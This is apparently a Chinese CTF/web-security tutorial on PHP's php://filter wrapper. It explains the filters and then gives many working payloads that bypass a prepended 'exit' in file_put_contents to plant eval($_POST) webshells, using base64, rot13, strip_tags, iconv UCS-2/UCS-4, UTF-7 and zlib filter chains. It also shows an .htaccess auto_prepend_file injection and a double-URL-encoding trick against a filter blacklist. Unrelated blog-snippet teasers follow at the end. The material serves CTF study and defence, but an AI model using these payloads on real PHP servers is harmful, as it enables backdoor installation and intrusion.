PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter
参数
php://filter
可以作为一个中间流来处理其他流。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
测试代码:
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
echo file_get_contents($file1);
file_put_contents($file2,$txt);
?>
读取文件:
# 明文读取
index.php?file1=php://filter/resource=flag.php
# 编码读取
index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php
写入文件:
# 明文写入
index.php?file2=php://filter/resource=test.txt&txt=helloworld
# 编码写入
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld
string.rot13
string.rot13
(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。
str_rot13
—对字符串执行ROT13
转换. ROT13
编码简单地使用字母表中后面第13
个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
string.toupper
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。
strtoupper
—将字符串转化为大写
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。
strtolower
—将字符串转化为小写
使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和strip_tags()
函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。
strip_tags
—从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串str
去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()
一样的机制去除标记。
如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息,请参考该函数的手册页。
https://www.php.net/manual/zh/filters.convert.php
convert.base64-encode
和 convert.base64-decode
使用这两个过滤器等同于分别用base64_encode()
和base64_decode()
函数处理所有的流数据。convert.base64-encode
支持以一个关联数组给出的参数。如果给出了line-length
,base64 输出将被用line-length
个字符为 长度而截成块。如果给出了line-break-chars
,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()
再加上 chunk_split()相同。
convert.quoted-printable-encode
和convert.quoted-printable-decode
使用此过滤器的decode
版本等同于用 quoted_printable_decode()
函数处理所有的流数据。没有和convert.quoted-printable-encode
相对应的函数。convert.quoted-printable-encode
支持以一个关联数组给出的参数。除了支持和convert.base64-encode
一样的附加参数外,convert.quoted-printable-encode
还支持布尔参数binary和 force-encode-first
。convert.base64-decode
只支持line-break-chars
参数作为从编码载荷中剥离的类型提示。
这个过滤器需要php
支持 iconv
,而iconv
是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()
函数处理所有的流数据。
iconv
— 字符串按要求的字符编码来转换
convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
支持的字符编码有一下几种(详细参考官方手册)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
虽然 压缩封装协议 提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。
Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。
?file=compress.zlib://flag.php
mcrypt.
*和 mdecrypt.*
使用libmcrypt
提供了对称的加密和解密。这两组过滤器都支持mcrypt
扩展库中相同的算法,格式为 mcrypt.ciphername
,其中ciphername
是密码的名字,将被传递给mcrypt_module_open()
。有以下五个过滤器参数可用:
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。那么这种情况下,如何绕过这个“死亡exit”
?
思路其实也很简单我们只要将content
前面的那部分内容使用某种手段(编码等)进行处理,导致php
不能识别该部分就可以了。
这里的$_POST[‘filename’]
是可以控制协议的.
Base64
编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
base64
编码中只包含64个可打印字符,而PHP在解码base64
时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
当$content
被加上了<?php exit; ?>
以后,我们可以使用php://filter/write=convert.base64-decode
来首先对其解码。在解码的过程中,字符< ? ; >
空格等一共有7个字符不符合base64
编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”
和我们传入的其他字符。
由于,”phpexit”
一共7个字符,但是base64
算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符。这样前边的phpexit
加上另一个字符就会被base64
解码,然后后边的我们精心构造的base64
字符串也会被成功解码为php代码。
payload:
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
成功写入
str_rot13
—对字符串执行ROT13
转换. ROT13
编码简单地使用字母表中后面第13
个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
利用php://filter
中string.rot13
过滤器去除”exit”
。string.rot13
的特性是编码和解码都是自身完成,利用这一特性可以去除exit
。 <?php exit;?>
在经过rot13
编码后会变成 <?cuc rkvg();?>
,不过这种利用手法的前提是PHP不开启short_open_tag/
虽然官方说的默认开启,但是在php.ini
中默认是注释掉的,也就是说它还是默认关闭。
payload:
?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]);
成功写入文件 2.php
<?cuc rkvg();<?php eval($_POST[a]);
strip_tags
— 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()
一样的机制去除标记。
但是我们的目的是写入webshell
,如果那样的话,我们的webshell
岂不是同样起不了作用,不过我们可以使用多个过滤器进行绕过这个限制(php://filter
允许通过使用多个过滤器)。
1、webshell用base64编码 //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell
payload:
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
成功写入:
<?php eval($_POST[a]);
PHP中auto_prepend_file
与auto_append_file
用法实例分析:
php.ini
中有两项:
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require
文件时,只需要修改auto_prepend_file
与auto_append_file
的值即可。
例如:修改php.ini
,修改auto_prepend_file
与auto_append_file
的值。
auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/footer.php"
修改后重启服务器,这样所有页面的顶部与底部都会require /home/fdipzone/header.php
与 /home/fdipzone/footer.php
如果不需要所有页面都在顶部或底部require
文件,可以指定某一个文件夹内的页面文件才调用auto_prepend_file
与auto_append_file
在需要顶部或底部加载文件的文件夹中加入.htaccess
文件,内容如下:
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"
这样在指定.htaccess
的文件夹内的页面文件才会加载/home/fdipzone/header.php
与/home/fdipzone/footer.php
,其他页面文件不受影响。
自定义包含我们的flag文件。
payload:
?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file "/flag"
首先来解释$filename
的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess
内容的html
标签,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件;
<?php
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
这种情况下写入的文件,其文件名和文件部分内容一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:都是为了去除文件头部内容exit
这个关键代码写入shell
后门。
构造:
content=php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php
或
content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
进行拼接之后就是 <?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
然后会对其进行一次整体的 base64-decode
。从而分解掉死亡代码,
但是无法生成content
;虽然文件创建成功,但是就是无法生成content
。问题在于resource
后边的 =
;
‘=’
在base64
中的作用是填充,也就是以为着结束;在‘=’
的后面是不允许有任何其他字符的否则会报错,
这里因为是由于‘=’
从而使得我们写入content
不成功,那么我们可以想个方法去掉等号即可,
去掉等号之过滤器嵌套base64
payload:
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php
发现可以生成文件,并且可以看到我们已经成功写入了shell
;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;
payoad:
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php
注意:这里%2b
是+
号的url编码,不进行编码会被当成空格处理
我们将前面的一串base64
字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成shell.php
文件;从而就可以生成正常的文件名.
或者去掉等号之直接对内容进行变性另类base64
其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html
标签,从而对剩下的内容进行base64
解码。但是这种方法却不是如此,payload如下:
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php
这种payload
的攻击原理即是首先直接在内容时,就将我们base64
遇到的‘=’
这个问题直接写在<? ?>
中进行过滤掉,然后base64-decode
再对原本内容的<?php exit();
进行转码,从而达到分解死亡代码的效果
尽管base64
比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
payload:
content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php
content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php
生成文件内容:
<?cuc rkvg();cuc://svygre/jevgr=fgevat.ebg13|<?php phpinfo();?>|/erfbhepr=f1zcyr.cuc
其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;
对于iconv
字符编码转换进行绕过的手法,其实类似于上面所述的base64
编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;
去除,而我们的恶意代码正常解码存储。
通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>');
payload:
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSa[]b;)>?/resource=shell.php
成功向 shell.php
写入
?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|E<?php @eval($_POST[ab]);?>r/seuocr=ehsle.l
通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了.
<?php
echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[abcd]);?>');
28字符 <?php @eval($_POST[abcd]);?>
转为 hp?<e@ p(lavOP_$a[TS]dcb>?;)
payload:
content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$a[TS]dcb>?;)/resource=shell.php
成功写入:
hp?<xe p)(tiphp;f//:etlioc/rrevnci.t.vno-SCU.EL4-SCU|EB4<?php @eval($_POST[abcd]);?>ser/cruohs=e.lle
这里发现生成的是+AD0-
,然而经过检测,此字符串可以被base64
进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64
解码的影响;我们可以直接写入base64
加密后的payload
,然后将其进行utf
之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode
之后的编码依然是存在的,然后进行base64-decode
一下,写入shell.
payload:
content=php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
ps:
// 这里要符合base64 解码按4 字节进行
utf8 -> utf-7
<?php exit();php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
变为:
+ADw?php exit()+ADs-php://filter/write+AD0-aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+-+AHw-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php
base64恶意payload的之前正好36个字节,所以写入了shell
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
echo $content;
file_put_contents($content,'<?php exit();'.$content);
}
这里主要就是考察过滤器构造绕过
题目中过滤的过滤器有
/iconv|UCS|UTF|rot|quoted|base64/
但是需要注意file_put_contents
要调用伪协议,
static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain)
{
char *p, *token = NULL;
php_stream_filter *temp_filter;
p = php_strtok_r(filterlist, "|", &token);
while (p) {
php_url_decode(p, strlen(p));#对过滤器进行了一次urldecode
if (read_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->readfilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
if (write_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->writefilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
p = php_strtok_r(NULL, "|", &token);
}
}
而伪协议处理时会对过滤器 urldecode
一次,所以是可以利用二次编码绕过的,
payload:
php://filter/write=string.%7%32ot13|<?cuc cucvasb();?>|/resource=w0s1np.php
注:payload
放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter
面对不可用的规则是报个Warning
,然后跳过继续执行的)。
还可以利用压缩过滤器以及加密过滤器:
zlib
的 zlib.deflate
和 zlib.inflate
,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续 inflate
的内容,简单遍历一下可以发现中间插入 string.tolower
转后会把空格和 exit
处理了就可以绕过exit
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php
文章浏览阅读63次。题目给定一个整数 n,返回 n! 结果尾数中零的数量。解题思路每个0都是由2 * 5得来的,相当于要求n!分解成质因子后2 * 5的数目,由于n中2的数目肯定是要大于5的数目,所以我们只需要求出n!中5的数目。C++代码class Solution {public: int trailingZeroes(int n) { ...
文章浏览阅读992次,点赞27次,收藏15次。UTF-8是Unicode字符集的一种编码方案,采取可变长编码方案,共分四个长度区:1个字节,2个字节,3个字节,4个字节。文件字节输入流:每次读取多个字节到字节数组中去,返回读取的字节数量,读取完毕会返回-1。注意1:字符编码时使用的字符集,和解码时使用的字符集必须一致,否则会出现乱码。定义一个与文件一样大的字节数组,一次性读取完文件的全部字节。UTF-8字符集:汉字占3个字节,英文、数字占1个字节。GBK字符集:汉字占2个字节,英文、数字占1个字节。GBK规定:汉字的第一个字节的第一位必须是1。_outputstream释放
文章浏览阅读1.8k次,点赞3次,收藏3次。解决jeecgboot每次登录进去都会弹出请重新登录问题,在utils文件下找到request.js文件注释这段代码即可_jeecg 登录自动退出
文章浏览阅读3.4k次。我国目前普遍采用需要系数法和二项式系数法确定用电设备的负荷,其中需要系数法是国际上普遍采用的确定计算负荷的方法,最为简便;而二项式系数法在确定设备台数较少且各台设备容量差..._数据中心用电负荷统计变压器
文章浏览阅读7k次,点赞4次,收藏46次。HTML5期末大作业:网页制作代码 网站设计——人电影网站(5页) HTML+CSS+JavaScript 学生DW网页设计作业成品 dreamweaver作业静态HTML网页设计模板常见网页设计作业题材有 个人、 美食、 公司、 学校、 旅游、 电商、 宠物、 电器、 茶叶、 家居、 酒店、 舞蹈、 动漫、 明星、 服装、 体育、 化妆品、 物流、 环保、 书籍、 婚纱、 军事、 游戏、 节日、 戒烟、 电影、 摄影、 文化、 家乡、 鲜花、 礼品、 汽车、 其他 等网页设计题目, A+水平作业_网页设计成品百度网盘
文章浏览阅读392次。jailhouse 文章翻译,Look Mum, no VM Exits!_jailhouse sr-iov
文章浏览阅读751次。本文由chatgpt生成,文章没有在chatgpt生成的基础上进行任何的修改。以上只是chatgpt能力的冰山一角。作为通用的Aigc大模型,只是展现它原本的实力。对于颠覆工作方式的ChatGPT,应该选择拥抱而不是抗拒,未来属于“会用”AI的人。AI职场汇报智能办公文案写作效率提升教程 专注于AI+职场+办公方向。下图是课程的整体大纲下图是AI职场汇报智能办公文案写作效率提升教程中用到的ai工具。_python 删除文件特定几行
文章浏览阅读2.1k次。【代码】Java过滤特殊字符的正则表达式。_java正则表达式过滤特殊字符
文章浏览阅读5.7k次,点赞4次,收藏17次。css中背景的设置至关重要,也是一个难点,因为属性众多,对应的属性值也比较多,这里详细的列举了背景相关的7个属性及对应的属性值,并附上演示代码,后期要用的话,可以随时查看,那我们坐稳开车了······1: background-color 设置背景颜色2:background-image来设置背景图片- 语法:background-image:url(相对路径);-可以同时为一个元素指定背景颜色和背景图片,这样背景颜色将会作为背景图片的底色,一般情况下设置背景..._background设置背景图片
文章浏览阅读2.6k次,点赞2次,收藏8次。Win10 安装系统跳过创建用户,直接启用 Administrator_windows10msoobe进程
文章浏览阅读10w+次,点赞653次,收藏3k次。Windows安装pycharm教程新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入下载安装PyCharm1、进入官网PyCharm的下载地址:http://www.jetbrains.com/pycharm/downl_pycharm2021
文章浏览阅读835次。本节书摘来自异步社区出版社《跨境电商——速卖通搜索排名规则解析与SEO技术》一书中的第1章,第1.1节,作者: 冯晓宁,更多章节内容可以访问云栖社区“异步社区”公众号查看。1.1 初识速卖通的搜索引擎1.1.1 初识速卖通搜索作为速卖通卖家都应该知道,速卖通经常被视为“国际版的淘宝”。那么请想一下,普通消费者在淘宝网上购买商品的时候,他的行为应该..._跨境电商 速卖通搜索排名规则解析与seo技术 pdf